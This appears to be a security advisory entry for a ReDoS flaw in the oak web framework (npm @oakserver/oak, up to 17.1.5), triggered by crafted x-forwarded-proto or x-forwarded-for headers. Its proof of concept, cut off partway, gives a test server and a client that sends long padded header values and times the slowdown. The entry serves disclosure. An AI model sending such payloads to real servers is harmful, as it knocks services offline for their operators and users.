fkie_cve-2025-55152

oak is a middleware framework for Deno's native HTTP server, Deno Deploy, Node.js 16.5 and later, Cloudflare Workers and Bun. In versions 17.1.5 and below, it's possible to significantly slow down an oak server with specially crafted values of the x-forwarded-proto or x-forwarded-for headers.

GHSA-r3v7-pc4g-7xp9 — Oak Server has ReDoS in x-forwarded-proto and x-forwarded-for headers

Affected: npm: @oakserver/oak

### Summary

With specially crafted value of the `x-forwarded-proto` or `x-forwarded-for` headers, it's possible to significantly slow down an oak server.

### Vulnerable Code

- https://github.com/oakserver/oak/blob/v17.1.5/request.ts#L87 - https://github.com/oakserver/oak/blob/v17.1.5/request.ts#L142

### PoC

- setup ``` deno --version deno 2.4.3 v8 13.7.152.14-rusty typescript 5.8.3 ```

- `server.ts` ```ts import { Application } from "https://deno.land/x/oak/mod.ts";

const app = new Application({proxy: true});

let i = 1

app.use((ctx) => {

// let url = ctx.request.url // test1) x-forwarded-proto let ips = ctx.request.ips // test2) x-forwarded-for console.log(`request ${i} received`) i++; ctx.response.body = "hello"; });

await app.listen({ port: 8080 }); ```

- `client.ts` ```ts const lengths = [2000, 4000, 8000, 16000, 32000, 64000, 128000]

const data1 = lengths.map(l => 'A' + 'A'.repeat(l) + 'A'); const data2 = lengths.map(l => 'A' + ' '.repeat(l) + 'A');

async function run(data) { for (let i = 0; i < data.length; i++) { let d = data[i]; const start = performance.now();

await fetch("http://localhost:8080", { headers: { // "x-forwarded-proto": d, // test1) "x-forwarded-for": d, // test2) }, });

const end = performance.now(); console.log('length=%d, time=%d ms', d.length, end - start); } }

console.log("\n[+] Test no…

Most recent entries from all

fkie_cve-2025-55152

GHSA-r3v7-pc4g-7xp9 — Oak Server has ReDoS in x-forwarded-proto and x-forwarded-for headers